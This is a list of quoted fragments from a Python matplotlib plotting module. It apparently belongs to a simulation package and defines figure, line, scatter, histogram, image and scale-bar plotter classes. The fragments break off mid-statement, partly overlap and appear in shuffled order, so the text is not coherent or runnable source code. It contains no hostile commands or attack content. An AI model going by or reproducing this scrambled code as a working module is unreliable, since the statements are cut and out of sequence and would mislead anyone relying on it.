"def saveFig(self, sim=None, fileName=None, fileDesc=None, fileType='png', fileDir=None, overwrite=True, **kwargs): \"\"\"",
"m) / scale except: value /= 10.0 m /= 10.0",
"0.38, 0.60], [0.57, 0.67, 0.33], [0.50, 0.20, 0.00], [0.71, 0.82,",
"sim: from .. import sim self.sim = sim self.axis =",
"self.axis.grid() elif type(kwargs['grid']) == dict: self.axis.grid(**kwargs['grid']) # If this is",
"= [[0.42, 0.67, 0.84], [0.90, 0.76, 0.00], [0.42, 0.83, 0.59],",
"self.vmax = data.get('vmax', None) self.origin = data.get('origin', None) self.extent =",
"ec=barcolor, lw=barwidth, fc=\"none\")) if sizex and labelx: self.xlabel = TextArea(labelx)",
"= round_to_n(0.8 * maxvalue * scale, n, m) / scale",
"+ fileDesc + fileExt if fileDir is not None: fileName",
"kwargs['labelx'] = '%.3g %s'%(kwargs['sizex'] * scalex, unitsx) if 'labely' not",
"return value if ymax is not None and sizey>ymax: sizey",
"x,y bars; None to omit - loc : position in",
"sep=sep) AnchoredOffsetbox.__init__(self, loc, pad=pad, borderpad=borderpad, child=bars, prop=prop, frameon=False, **kwargs) def",
"class ScatterPlotter(GeneralPlotter): \"\"\"A class used for scatter plotting\"\"\" def __init__(self,",
"self.axis.hist(self.x, bins=self.bins, range=self.range, density=self.density, weights=self.weights, cumulative=self.cumulative, bottom=self.bottom, histtype=self.histtype, align=self.align, orientation=self.orientation,",
"None: self.axis.set_ylim(kwargs['ylim']) if 'invert_yaxis' in kwargs: if kwargs['invert_yaxis'] is True:",
"self.addScalebar() elif type(kwargs['scalebar']) == dict: self.addScalebar(**kwargs['scalebar']) if 'colorbar' in kwargs:",
"hiding the x and y axes - axis : the",
"self.addColorbar() elif type(kwargs['colorbar']) == dict: self.addColorbar(**kwargs['colorbar']) if 'grid' in kwargs:",
"0.32, 0.00], [0.34, 0.67, 0.67], [0.90, 0.59, 0.00], [0.42, 0.82,",
"used for plotting multiple lines on the same axis\"\"\" def",
"axis, sizex=0, sizey=0, labelx=None, labely=None, loc=4, pad=0.1, borderpad=0.1, sep=2, prop=None,",
"= self.axis.get_legend_handles_labels() if not handles: handles = cur_handles if not",
"the path to a data file.') else: self.data = data",
"'bar') self.align = data.get('align', 'mid') self.orientation = data.get('orientation', 'vertical') self.rwidth",
"x-axis and y-axis of parent - **kwargs : additional arguments",
"self.color = data.get('color', None) self.alpha = data.get('alpha', None) self.label =",
"return self.fig class AnchoredScaleBar(AnchoredOffsetbox): \"\"\" A class used for adding",
"LinePlotter(GeneralPlotter): \"\"\"A class used for plotting one line per subplot\"\"\"",
"= self.metafig.fig self.axis = self.metafig.ax else: self.fig = self.axis.figure #",
"self.axis.imshow(self.X, cmap=self.cmap, norm=self.norm, aspect=self.aspect, interpolation=self.interpolation, alpha=self.alpha, vmin=self.vmin, vmax=self.vmax, origin=self.origin, extent=self.extent,",
"= kind # Make a copy of the current matplotlib",
"xmax=xmax, ymax=ymax, space=space, **kwargs) def addColorbar(self, **kwargs): plt.colorbar(mappable=self.axis.get_images()[0], ax=self.axis, **kwargs)",
"'dpi' in kwargs: dpi = kwargs['dpi'] else: dpi = self.rcParams['figure.dpi']",
"plotting using plt.imshow\"\"\" def __init__(self, data, axis=None, options={}, **kwargs): super().__init__(data=data,",
"= data.get('alpha') self.linewidths = data.get('linewidths') def plot(self, **kwargs): scatterPlot =",
"and bars in points. - **kwargs : additional arguments passed",
"= data.get('data', None) def plot(self, **kwargs): histPlot = self.axis.hist(self.x, bins=self.bins,",
"= data.get('color') self.marker = data.get('marker') self.markersize = data.get('markersize') self.linewidth =",
"super().__init__(data=data, axis=axis, **kwargs) self.kind = 'histogram' self.x = data.get('x') self.bins",
"scalex=1.0, scaley=1.0, xmax=None, ymax=None, space=None, **kwargs): add_scalebar(self.axis, matchx=matchx, matchy=matchy, hidex=hidex,",
"legendKwargs_new[key] cur_handles, cur_labels = self.axis.get_legend_handles_labels() if not handles: handles =",
"only axis on the figure, finish the figure if type(self.metafig.ax)",
"or not isinstance(fileName, basestring): fileName = self.sim.cfg.filename + fileDesc +",
"self.kind = 'histogram' self.x = data.get('x') self.bins = data.get('bins', None)",
"range(numLines)] else: alphas = self.alpha if self.label is None: labels",
"self.fig, self.ax = plt.subplots(nrows, ncols, figsize=figSize, dpi=dpi) self.plotters = []",
"return self.fig class HistPlotter(GeneralPlotter): \"\"\"A class used for histogram plotting\"\"\"",
"plot and optionally hiding the x and y axes -",
"values instead of the defaults if 'legendKwargs' in kwargs: legendKwargs_new",
"figSize = kwargs['figSize'] else: figSize = self.rcParams['figure.figsize'] if 'dpi' in",
"figSize = [figSize0, figSize1] self.fig, self.ax = plt.subplots(nrows, ncols, figsize=figSize,",
"list: self.metafig.finishFig(**kwargs) # Reset the matplotlib rcParams to their original",
"== list: nrows = subplots[0] ncols = subplots[1] # Create",
"'tiff': 'Tagged Image File Format' \"\"\" if not sim: from",
"= self.axis.hist(self.x, bins=self.bins, range=self.range, density=self.density, weights=self.weights, cumulative=self.cumulative, bottom=self.bottom, histtype=self.histtype, align=self.align,",
"to omit - loc : position in containing axes -",
"data is a string, it must be the path to",
"[self.linewidth for line in range(numLines)] else: linewidths = self.linewidth if",
"data.get('linewidth') self.cmap = data.get('cmap') self.norm = data.get('norm') self.alpha = data.get('alpha')",
"-sizex bars.add_artist(Rectangle((0,0), sizex, 0, ec=barcolor, lw=barwidth, fc=\"none\")) if sizey: if",
"type(kwargs['legend']) == dict: self.addLegend(**kwargs['legend']) if 'scalebar' in kwargs: if kwargs['scalebar']",
"class HistPlotter(GeneralPlotter): \"\"\"A class used for histogram plotting\"\"\" def __init__(self,",
"vertical bar with the size in data coordinate of the",
"is the only axis on the figure, finish the figure",
"# Attach plotter to its MetaFigure self.metafig.plotters.append(self) def loadData(self, fileName,",
"hidey=hidey, unitsx=unitsx, unitsy=unitsy, scalex=scalex, scaley=scaley, xmax=xmax, ymax=ymax, space=space, **kwargs) def",
"self.kind = 'image' self.X = data.get('X') self.cmap = data.get('cmap', None)",
"tick_locs[0]) return tick_size if matchx: sizex = get_tick_size(axis.xaxis) if matchy:",
"plot(self, **kwargs): numLines = len(self.y) if type(self.color) != list: colors",
"be drawn underneath (center-aligned). - transform : the coordinate frame",
"kwargs: if kwargs['saveFig']: self.saveFig(**kwargs) if 'showFig' in kwargs: if kwargs['showFig']:",
"\"\"\" if not sim: from .. import sim if fileDesc",
"markers = [self.marker for line in range(numLines)] else: markers =",
"self.marker if type(self.markersize) != list: markersizes = [self.markersize for line",
"np.max([nrows, ncols]) figSize0 = figSize[0] + (maxplots-1)*(figSize[0]*autosize) figSize1 = figSize[1]",
"using plt.imshow\"\"\" def __init__(self, data, axis=None, options={}, **kwargs): super().__init__(data=data, axis=axis,",
"if type(self.markersize) != list: markersizes = [self.markersize for line in",
"defaults if 'legendKwargs' in kwargs: legendKwargs_new = kwargs['legendKwargs'] for key",
"# Set up any subplots if not subplots: nrows =",
"a figure object\"\"\" def __init__(self, kind, sim=None, subplots=None, rcParams=None, autosize=0.35,",
"scalebar object \"\"\" def get_tick_size(subaxis): tick_size = None tick_locs =",
"kwargs or kwargs['labelx'] is None: kwargs['labelx'] = '%.3g %s'%(kwargs['sizex'] *",
"**kwargs) self.kind = 'histogram' self.x = data.get('x') self.bins = data.get('bins',",
"imagePlot = self.axis.imshow(self.X, cmap=self.cmap, norm=self.norm, aspect=self.aspect, interpolation=self.interpolation, alpha=self.alpha, vmin=self.vmin, vmax=self.vmax,",
"sizex = kwargs['sizex'] if 'sizey' in kwargs: sizey = kwargs['sizey']",
"Photographic Experts Group', 'jpeg': 'Joint Photographic Experts Group', 'pdf': 'Portable",
"sizex = get_tick_size(axis.xaxis) if matchy: sizey = get_tick_size(axis.yaxis) if 'sizex'",
"matplotlib.pyplot as plt import numpy as np from copy import",
"* 3 class MetaFigure: \"\"\"A class which defines a figure",
"str(fileDesc) else: fileDesc = '_' + self.kind if fileType not",
"= self.metafig.ax else: self.fig = self.axis.figure # Attach plotter to",
"axis.get_ylim() ylim = (ylim0 - space, ylim1) if ylim0 >",
"= rcParams[rcParam] else: print(rcParam, 'not found in matplotlib.rcParams') self.rcParams =",
"axes - pad, borderpad : padding, in fraction of the",
"axes Adds a set of scale bars to *ax*, matching",
"is True: self.addScalebar() elif type(kwargs['scalebar']) == dict: self.addScalebar(**kwargs['scalebar']) if 'colorbar'",
"self.x = data.get('x') self.bins = data.get('bins', None) self.range = data.get('range',",
"import sim if fileDesc is not None: fileDesc = '_'",
"= data.get('vmin', None) self.vmax = data.get('vmax', None) self.origin = data.get('origin',",
"key in legendKwargs_new: if key in legendParams: legendKwargs[key] = legendKwargs_new[key]",
"'png': 'Portable Network Graphics', 'ps': 'Postscript', 'raw': 'Raw RGBA bitmap',",
"import Rectangle from matplotlib.offsetbox import AuxTransformBox, VPacker, HPacker, TextArea, DrawingArea",
"data.get('vmax', None) self.origin = data.get('origin', None) self.extent = data.get('extent', None)",
"if fileDesc is not None: fileDesc = '_' + str(fileDesc)",
"= data.get('align', 'mid') self.orientation = data.get('orientation', 'vertical') self.rwidth = data.get('rwidth',",
"elif type(kwargs['grid']) == dict: self.axis.grid(**kwargs['grid']) # If this is the",
"horizontal and/or vertical bar with the size in data coordinate",
"and sizey>ymax: sizey = autosize(sizey, ymax, scaley) if xmax is",
"10.0 m /= 10.0 return value if ymax is not",
"os.path.isfile(fileName): try: fileNumStr = fileName.split(fileExt)[0].split('_')[-1] fileNumStrNew = str(int(fileNumStr) + 1).zfill(2)",
"is True: self.axis.grid() elif type(kwargs['grid']) == dict: self.axis.grid(**kwargs['grid']) # If",
"Graphics', 'svgz': 'Scalable Vector Graphics', 'tif': 'Tagged Image File Format',",
"current matplotlib rcParams and update them self.orig_rcParams = deepcopy(mpl.rcParamsDefault) if",
"Module for plotting analyses \"\"\" import matplotlib as mpl import",
"data.get('density', False) self.weights = data.get('weights', None) self.cumulative = data.get('cumulative', False)",
"except: value /= 10.0 m /= 10.0 return value if",
"def __init__(self, kind, sim=None, subplots=None, rcParams=None, autosize=0.35, **kwargs): if not",
"url=self.url, data=self.data) self.finishAxis(**kwargs) return self.fig class AnchoredScaleBar(AnchoredOffsetbox): \"\"\" A class",
"in kwargs: if kwargs['dpi']: self.fig.set_dpi(kwargs['dpi']) if 'figSize' in kwargs: if",
"0.00], [0.71, 0.82, 0.41], [0.00, 0.20, 0.50], [0.70, 0.32, 0.10]]",
"if True, hide x-axis and y-axis of parent - **kwargs",
"0 to omit - labelx,labely : labels for x,y bars;",
"sep : separation between labels and bars in points. -",
"in range(numLines)] else: markersizes = self.markersize if type(self.linewidth) != list:",
"not recognized in saveFig') else: fileExt = '.' + fileType",
"def addLegend(self, handles=None, labels=None, **kwargs): legendParams = ['loc', 'bbox_to_anchor', 'fontsize',",
"data.get('markersize') self.linewidth = data.get('linewidth') self.alpha = data.get('alpha') def plot(self, **kwargs):",
"is not None and sizex>xmax: sizex = autosize(sizex, xmax, scalex)",
"Load data if type(data) == str: if os.path.isfile(data): self.data =",
"**kwargs): \"\"\" 'eps': 'Encapsulated Postscript', 'jpg': 'Joint Photographic Experts Group',",
"self.bottom = data.get('bottom', None) self.histtype = data.get('histtype', 'bar') self.align =",
"Plotter, if data is a string, it must be the",
"if kwargs['legend'] is True: self.addLegend(**kwargs) elif type(kwargs['legend']) == dict: self.addLegend(**kwargs['legend'])",
"figure if type(self.metafig.ax) != list: self.metafig.finishFig(**kwargs) # Reset the matplotlib",
"self.rcParams['figure.dpi'] if autosize: maxplots = np.max([nrows, ncols]) figSize0 = figSize[0]",
"plot into. If axis is set to None, a new",
"rwidth=self.rwidth, log=self.log, color=self.color, alpha=self.alpha, label=self.label, stacked=self.stacked, data=self.data) self.finishAxis(**kwargs) return self.fig",
"ylim0 > ylim1: # if y axis is inverted ylim",
"rcParams to their original settings mpl.style.use(self.metafig.orig_rcParams) class ScatterPlotter(GeneralPlotter): \"\"\"A class",
"value /= 10.0 m /= 10.0 return value if ymax",
"fileName, fileDir=None, sim=None): from ..analysis import loadData self.data = loadData(fileName=fileName,",
"\"\"\" Add scalebars to axes Adds a set of scale",
"kwargs: if kwargs['dpi']: self.fig.set_dpi(kwargs['dpi']) if 'figSize' in kwargs: if kwargs['figSize']:",
"scale except: value /= 10.0 m /= 10.0 return value",
"their original settings mpl.style.use(self.orig_rcParams) class GeneralPlotter: \"\"\"A class used for",
"'saveData' in kwargs: if kwargs['saveData']: self.saveData(**kwargs) if 'dpi' in kwargs:",
"> maxvalue: try: value = round_to_n(0.8 * maxvalue * scale,",
"return self.fig class LinesPlotter(GeneralPlotter): \"\"\"A class used for plotting multiple",
"else: dpi = self.rcParams['figure.dpi'] if autosize: maxplots = np.max([nrows, ncols])",
"axis.set_ylim(ylim) scalebar = AnchoredScaleBar(axis, **kwargs) axis.add_artist(scalebar) if hidex: axis.xaxis.set_visible(False) if",
"None) def plot(self, **kwargs): imagePlot = self.axis.imshow(self.X, cmap=self.cmap, norm=self.norm, aspect=self.aspect,",
"linewidth=self.linewidth, alpha=self.alpha) self.finishAxis(**kwargs) return self.fig class LinesPlotter(GeneralPlotter): \"\"\"A class used",
"or kwargs['labely'] is None: kwargs['labely'] = '%.3g %s'%(kwargs['sizey'] * scaley,",
"if 'xlim' in kwargs: if kwargs['xlim'] is not None: self.axis.set_xlim(kwargs['xlim'])",
"self.marker = data.get('marker') self.markersize = data.get('markersize') self.linewidth = data.get('linewidth') self.alpha",
"__init__(self, axis, sizex=0, sizey=0, labelx=None, labely=None, loc=4, pad=0.1, borderpad=0.1, sep=2,",
"'mid') self.orientation = data.get('orientation', 'vertical') self.rwidth = data.get('rwidth', None) self.log",
"if kwargs['showFig']: self.showFig(**kwargs) else: plt.close(self.fig) # Reset the matplotlib rcParams",
"'%.3g %s'%(kwargs['sizex'] * scalex, unitsx) if 'labely' not in kwargs",
"= subplots ncols = 1 elif type(subplots) == list: nrows",
"fileName) if not overwrite: while os.path.isfile(fileName): try: fileNumStr = fileName.split(fileExt)[0].split('_')[-1]",
"0.83], [1.00, 0.85, 0.00], [0.33, 0.67, 0.47], [1.00, 0.38, 0.60],",
"saveData(self, fileName=None, fileDesc=None, fileType=None, fileDir=None, sim=None, **kwargs): from ..analysis import",
"hidex=hidex, hidey=hidey, unitsx=unitsx, unitsy=unitsy, scalex=scalex, scaley=scaley, xmax=xmax, ymax=ymax, space=space, **kwargs)",
"data : dict, str axis : matplotlib axis The axis",
"multiple lines on the same axis\"\"\" def __init__(self, data, axis=None,",
"not in kwargs or kwargs['labelx'] is None: kwargs['labelx'] = '%.3g",
"= data.get('linewidth') self.alpha = data.get('alpha') self.label = data.get('label') def plot(self,",
"'edgecolor', 'mode', 'bbox_transform', 'title', 'title_fontsize', 'borderpad', 'labelspacing', 'handlelength', 'handletextpad', 'borderaxespad',",
"= data.get('c') self.marker = data.get('marker') self.linewidth = data.get('linewidth') self.cmap =",
"bottom=self.bottom, histtype=self.histtype, align=self.align, orientation=self.orientation, rwidth=self.rwidth, log=self.log, color=self.color, alpha=self.alpha, label=self.label, stacked=self.stacked,",
"# Make a copy of the current matplotlib rcParams and",
"(n - 1)) / m)) * m while value >",
"self.alpha = data.get('alpha') self.label = data.get('label') def plot(self, **kwargs): numLines",
"options are available: xtwin, ytwin, \"\"\" self.kind = kind #",
"kwargs: figSize = kwargs['figSize'] else: figSize = self.rcParams['figure.figsize'] if 'dpi'",
"data.get('s') self.c = data.get('c') self.marker = data.get('marker') self.linewidth = data.get('linewidth')",
"0.83, 0.59], [0.90, 0.32, 0.00], [0.34, 0.67, 0.67], [0.90, 0.59,",
"ncols, figsize=figSize, dpi=dpi) self.plotters = [] def saveFig(self, sim=None, fileName=None,",
"else: linewidths = self.linewidth if type(self.alpha) != list: alphas =",
"= data.get('range', None) self.density = data.get('density', False) self.weights = data.get('weights',",
"addSuptitle(self, **kwargs): self.fig.suptitle(**kwargs) def finishFig(self, **kwargs): if 'suptitle' in kwargs:",
"n, m: int(np.ceil(round(value, -int(np.floor(np.log10(abs(value)))) + (n - 1)) / m))",
"to None, a new figure and axis are created and",
"plotting\"\"\" def __init__(self, data, axis=None, options={}, **kwargs): super().__init__(data=data, axis=axis, **kwargs)",
"AnchoredOffsetbox.__init__(self, loc, pad=pad, borderpad=borderpad, child=bars, prop=prop, frameon=False, **kwargs) def add_scalebar(axis,",
"and sizex>xmax: sizex = autosize(sizex, xmax, scalex) kwargs['sizex'] = sizex",
"kwargs or kwargs['labely'] is None: kwargs['labely'] = '%.3g %s'%(kwargs['sizey'] *",
"self.filternorm = data.get('filternorm', True) self.filterrad = data.get('filterrad', 4.0) self.resample =",
"y axis is inverted ylim = (ylim0 + space, ylim1)",
"- **kwargs : additional arguments passed to base class constructor",
"additional arguments passed to AnchoredScaleBars Returns created scalebar object \"\"\"",
"is inverted ylim = (ylim0 + space, ylim1) axis.set_ylim(ylim) scalebar",
"0.60], [0.57, 0.67, 0.33], [0.50, 0.20, 0.00], [0.71, 0.82, 0.41],",
"-int(np.floor(np.log10(abs(value)))) + (n - 1)) / m)) * m while",
"= data.get('bins', None) self.range = data.get('range', None) self.density = data.get('density',",
"(or prop) - sep : separation between labels and bars",
"not None: fileDesc = '_' + str(fileDesc) else: fileDesc =",
"{} for kwarg in kwargs: if kwarg in legendParams: legendKwargs[kwarg]",
"None) self.interpolation = data.get('interpolation', None) self.alpha = data.get('alpha', None) self.vmin",
"if kwargs['dpi']: self.fig.set_dpi(kwargs['dpi']) if 'figSize' in kwargs: if kwargs['figSize']: self.fig.set_size_inches(kwargs['figSize'])",
"figure if 'figSize' in kwargs: figSize = kwargs['figSize'] else: figSize",
"[self.alpha for line in range(numLines)] else: alphas = self.alpha if",
"in kwargs: if kwarg in legendParams: legendKwargs[kwarg] = kwargs[kwarg] #",
"set of scale bars to *ax*, matching the size to",
"10.0 return value if ymax is not None and sizey>ymax:",
"True, hide x-axis and y-axis of parent - **kwargs :",
"**kwargs): legendParams = ['loc', 'bbox_to_anchor', 'fontsize', 'numpoints', 'scatterpoints', 'scatteryoffsets', 'markerscale',",
"else: self.rcParams = self.orig_rcParams # Set up any subplots if",
"self.bins = data.get('bins', None) self.range = data.get('range', None) self.density =",
"self.finishAxis(**kwargs) return self.fig class AnchoredScaleBar(AnchoredOffsetbox): \"\"\" A class used for",
"__init__(self, data, kind, axis=None, sim=None, rcParams=None, metafig=None, **kwargs): \"\"\" Parameters",
"from ..analysis import saveData as saveFigData saveFigData(self.data, fileName=fileName, fileDesc=fileDesc, fileType=fileType,",
"data, axis=None, options={}, **kwargs): super().__init__(data=data, axis=axis, **kwargs) self.kind = 'lines'",
"units. 0 to omit - labelx,labely : labels for x,y",
"add space for scalebar if space is not None: ylim0,",
"AnchoredScaleBars Returns created scalebar object \"\"\" def get_tick_size(subaxis): tick_size =",
"'scatteryoffsets', 'markerscale', 'markerfirst', 'frameon', 'fancybox', 'shadow', 'framealpha', 'facecolor', 'edgecolor', 'mode',",
"kwargs['legend'] is True: self.addLegend(**kwargs) elif type(kwargs['legend']) == dict: self.addLegend(**kwargs['legend']) if",
"self.sim = sim self.kind = kind # Make a copy",
"= np.abs(tick_locs[1] - tick_locs[0]) return tick_size if matchx: sizex =",
"sizey = get_tick_size(axis.yaxis) if 'sizex' in kwargs: sizex = kwargs['sizex']",
"= autosize(sizey, ymax, scaley) if xmax is not None and",
"in kwargs: if kwargs['showFig']: self.showFig(**kwargs) else: plt.close(self.fig) # Reset the",
"class used for histogram plotting\"\"\" def __init__(self, data, axis=None, options={},",
"self.linewidths = data.get('linewidths') def plot(self, **kwargs): scatterPlot = self.axis.scatter(x=self.x, y=self.y,",
"unitsy = '' if 'labelx' not in kwargs or kwargs['labelx']",
"get_tick_size(axis.xaxis) if matchy: sizey = get_tick_size(axis.yaxis) if 'sizex' in kwargs:",
"addScalebar(self, matchx=True, matchy=True, hidex=True, hidey=True, unitsx=None, unitsy=None, scalex=1.0, scaley=1.0, xmax=None,",
"self.resample = data.get('resample', None) self.url = data.get('url', None) self.data =",
"rcParams=None, autosize=0.35, **kwargs): if not sim: from .. import sim",
"not isinstance(fileName, basestring): fileName = self.sim.cfg.filename + fileDesc + fileExt",
"* m while value > maxvalue: try: value = round_to_n(0.8",
"plot(self, **kwargs): linePlot = self.axis.plot(self.x, self.y, color=self.color, marker=self.marker, markersize=self.markersize, linewidth=self.linewidth,",
"in range(numLines)] else: linewidths = self.linewidth if type(self.alpha) != list:",
"self.axis.grid(**kwargs['grid']) # If this is the only axis on the",
"file.') else: self.data = data if not sim: from ..",
"kwargs['labely'] = '%.3g %s'%(kwargs['sizey'] * scaley, unitsy) # add space",
"prop) - sep : separation between labels and bars in",
"instead of the defaults if 'legendKwargs' in kwargs: legendKwargs_new =",
"legendParams: legendKwargs[kwarg] = kwargs[kwarg] # If 'legendKwargs' is found in",
"round_to_n(0.8 * maxvalue * scale, n, m) / scale except:",
"range(numLines)] else: colors = self.color if type(self.marker) != list: markers",
"def plot(self, **kwargs): numLines = len(self.y) if type(self.color) != list:",
"the defaults if 'legendKwargs' in kwargs: legendKwargs_new = kwargs['legendKwargs'] for",
"final = True self.metafig = MetaFigure(kind=self.kind, **kwargs) self.fig = self.metafig.fig",
"None) self.interpolation = data.get('interpolation', None) self.filternorm = data.get('filternorm', True) self.filterrad",
"set size of scale bars to spacing between ticks, if",
"None: fileDesc = '_' + str(fileDesc) else: fileDesc = '_'",
"data.get('origin', None) self.extent = data.get('extent', None) self.aspect = data.get('aspect', None)",
"%s'%(kwargs['sizex'] * scalex, unitsx) if 'labely' not in kwargs or",
"'Postscript', 'raw': 'Raw RGBA bitmap', 'rgba': 'Raw RGBA bitmap', 'svg':",
"0.20, 0.50], [0.70, 0.32, 0.10]] * 3 class MetaFigure: \"\"\"A",
"sim=None, **kwargs): from ..analysis import saveData as saveFigData saveFigData(self.data, fileName=fileName,",
"nrows = 1 ncols = 1 elif type(subplots) == int:",
"= [self.marker for line in range(numLines)] else: markers = self.marker",
"bars.add_artist(Rectangle((0,0), 0, sizey, ec=barcolor, lw=barwidth, fc=\"none\")) if sizex and labelx:",
"True: self.axis.invert_yaxis() def addLegend(self, handles=None, labels=None, **kwargs): legendParams = ['loc',",
"\"\"\"A class used for plotting\"\"\" def __init__(self, data, kind, axis=None,",
"between ticks, if False, set size using sizex and sizey",
"'title', 'title_fontsize', 'borderpad', 'labelspacing', 'handlelength', 'handletextpad', 'borderaxespad', 'columnspacing', 'handler_map'] #",
"'' if unitsy is None: unitsy = '' if 'labelx'",
"in mpl.rcParams: mpl.rcParams[rcParam] = rcParams[rcParam] else: print(rcParam, 'not found in",
"self.fig class LinesPlotter(GeneralPlotter): \"\"\"A class used for plotting multiple lines",
"figSize[1] + (maxplots-1)*(figSize[1]*autosize) figSize = [figSize0, figSize1] self.fig, self.ax =",
"in kwargs: if kwargs['scalebar'] is True: self.addScalebar() elif type(kwargs['scalebar']) ==",
"'Scalable Vector Graphics', 'tif': 'Tagged Image File Format', 'tiff': 'Tagged",
"deepcopy(mpl.rcParamsDefault) if rcParams: for rcParam in rcParams: if rcParam in",
"if 'legendKwargs' in kwargs: legendKwargs_new = kwargs['legendKwargs'] for key in",
"the plot and optionally hiding the x and y axes",
"data.get('alpha') self.linewidths = data.get('linewidths') def plot(self, **kwargs): scatterPlot = self.axis.scatter(x=self.x,",
"use those values instead of the defaults if 'legendKwargs' in",
"sizex,sizey : width of x,y bar, in data units. 0",
"'handler_map'] # Check for and apply any legend parameters in",
"sizex and labelx: self.xlabel = TextArea(labelx) bars = VPacker(children=[bars, self.xlabel],",
"original settings mpl.style.use(self.metafig.orig_rcParams) class ScatterPlotter(GeneralPlotter): \"\"\"A class used for scatter",
"NameError: basestring = str colorList = [[0.42, 0.67, 0.84], [0.90,",
"data.get('aspect', None) self.interpolation = data.get('interpolation', None) self.filternorm = data.get('filternorm', True)",
"# If this is the only axis on the figure,",
"up any subplots if not subplots: nrows = 1 ncols",
"if os.path.isfile(data): self.data = self.loadData(data) else: raise Exception('In Plotter, if",
"kwargs: if kwargs['ylim'] is not None: self.axis.set_ylim(kwargs['ylim']) if 'invert_yaxis' in",
"plotting\"\"\" def __init__(self, data, axis=None, **kwargs): super().__init__(data=data, axis=axis, **kwargs) self.kind",
"= self.markersize if type(self.linewidth) != list: linewidths = [self.linewidth for",
"for scalebar if space is not None: ylim0, ylim1 =",
"sim self.axis = axis if metafig: self.metafig = metafig #",
"type(subplots) == int: nrows = subplots ncols = 1 elif",
"linewidths = self.linewidth if type(self.alpha) != list: alphas = [self.alpha",
"Postscript', 'jpg': 'Joint Photographic Experts Group', 'jpeg': 'Joint Photographic Experts",
"the only axis on the figure, finish the figure if",
"origin=self.origin, extent=self.extent, filternorm=self.filternorm, filterrad=self.filterrad, resample=self.resample, url=self.url, data=self.data) self.finishAxis(**kwargs) return self.fig",
"True) self.filterrad = data.get('filterrad', 4.0) self.resample = data.get('resample', None) self.url",
"alpha=alphas[index], label=labels[index], ) self.finishAxis(**kwargs) return self.fig class HistPlotter(GeneralPlotter): \"\"\"A class",
"for line in range(numLines)] else: markers = self.marker if type(self.markersize)",
"is True: self.axis.invert_yaxis() def addLegend(self, handles=None, labels=None, **kwargs): legendParams =",
"basestring except NameError: basestring = str colorList = [[0.42, 0.67,",
"0.59, 0.00], [0.42, 0.82, 0.83], [1.00, 0.85, 0.00], [0.33, 0.67,",
"linewidth=linewidths[index], alpha=alphas[index], label=labels[index], ) self.finishAxis(**kwargs) return self.fig class HistPlotter(GeneralPlotter): \"\"\"A",
"HPacker, TextArea, DrawingArea bars = AuxTransformBox(axis.transData) if sizex: if axis.xaxis_inverted():",
"[0.42, 0.82, 0.83], [1.00, 0.85, 0.00], [0.33, 0.67, 0.47], [1.00,",
"= deepcopy(mpl.rcParamsDefault) if rcParams: for rcParam in rcParams: if rcParam",
"alpha=self.alpha, vmin=self.vmin, vmax=self.vmax, origin=self.origin, extent=self.extent, filternorm=self.filternorm, filterrad=self.filterrad, resample=self.resample, url=self.url, data=self.data)",
"sim=None): from ..analysis import loadData self.data = loadData(fileName=fileName, fileDir=fileDir, sim=None)",
"labelx: self.xlabel = TextArea(labelx) bars = VPacker(children=[bars, self.xlabel], align=\"center\", pad=0,",
"rcParams: if rcParam in mpl.rcParams: mpl.rcParams[rcParam] = rcParams[rcParam] else: print(rcParam,",
": the axis to attach ticks to - matchx,matchy :",
"saveFig') else: fileExt = '.' + fileType if not fileName",
"= None tick_locs = subaxis.get_majorticklocs() if len(tick_locs)>1: tick_size = np.abs(tick_locs[1]",
"+ str(fileDesc) else: fileDesc = '_' + self.kind if fileType",
"dict: self.axis.grid(**kwargs['grid']) # If this is the only axis on",
"in containing axes - pad, borderpad : padding, in fraction",
"AuxTransformBox(axis.transData) if sizex: if axis.xaxis_inverted(): sizex = -sizex bars.add_artist(Rectangle((0,0), sizex,",
"RGBA bitmap', 'svg': 'Scalable Vector Graphics', 'svgz': 'Scalable Vector Graphics',",
"line in range(numLines)] else: colors = self.color if type(self.marker) !=",
"for line in range(numLines)] else: labels = self.label for index,",
"None: fileName = os.path.join(fileDir, fileName) if not overwrite: while os.path.isfile(fileName):",
"maxplots = np.max([nrows, ncols]) figSize0 = figSize[0] + (maxplots-1)*(figSize[0]*autosize) figSize1",
"class used for scatter plotting\"\"\" def __init__(self, data, axis=None, **kwargs):",
"histtype=self.histtype, align=self.align, orientation=self.orientation, rwidth=self.rwidth, log=self.log, color=self.color, alpha=self.alpha, label=self.label, stacked=self.stacked, data=self.data)",
"borderpad=0.1, sep=2, prop=None, barcolor=\"black\", barwidth=None, **kwargs): \"\"\" Draw a horizontal",
"except: self.fig.show() def addSuptitle(self, **kwargs): self.fig.suptitle(**kwargs) def finishFig(self, **kwargs): if",
"fileExt if fileDir is not None: fileName = os.path.join(fileDir, fileName)",
"dict, str axis : matplotlib axis The axis to plot",
"None and sizey>ymax: sizey = autosize(sizey, ymax, scaley) if xmax",
"= kwargs[kwarg] # If 'legendKwargs' is found in kwargs, use",
"in range(numLines)] else: markers = self.marker if type(self.markersize) != list:",
"'xlim' in kwargs: if kwargs['xlim'] is not None: self.axis.set_xlim(kwargs['xlim']) if",
"data.get('color') self.marker = data.get('marker') self.markersize = data.get('markersize') self.linewidth = data.get('linewidth')",
"0.67, 0.47], [1.00, 0.38, 0.60], [0.57, 0.67, 0.33], [0.50, 0.20,",
"of the give axes. A label will be drawn underneath",
"- 1)) / m)) * m while value > maxvalue:",
"position in containing axes - pad, borderpad : padding, in",
"data, axis=None, options={}, **kwargs): super().__init__(data=data, axis=axis, **kwargs) self.kind = 'image'",
"None: unitsy = '' if 'labelx' not in kwargs or",
"# Check for and apply any legend parameters in the",
"not subplots: nrows = 1 ncols = 1 elif type(subplots)",
"legend font size (or prop) - sep : separation between",
"to plots \"\"\" def __init__(self, axis, sizex=0, sizey=0, labelx=None, labely=None,",
"\"\"\" import matplotlib as mpl import matplotlib.pyplot as plt import",
"if matchy: sizey = get_tick_size(axis.yaxis) if 'sizex' in kwargs: sizex",
"elif type(kwargs['legend']) == dict: self.addLegend(**kwargs['legend']) if 'scalebar' in kwargs: if",
"0, ec=barcolor, lw=barwidth, fc=\"none\")) if sizey: if axis.yaxis_inverted(): sizey =",
"if type(self.marker) != list: markers = [self.marker for line in",
"'frameon', 'fancybox', 'shadow', 'framealpha', 'facecolor', 'edgecolor', 'mode', 'bbox_transform', 'title', 'title_fontsize',",
"'pdf': 'Portable Document Format', 'pgf': 'PGF code for LaTeX', 'png':",
"data.get('y') self.s = data.get('s') self.c = data.get('c') self.marker = data.get('marker')",
"to its MetaFigure self.metafig.plotters.append(self) def loadData(self, fileName, fileDir=None, sim=None): from",
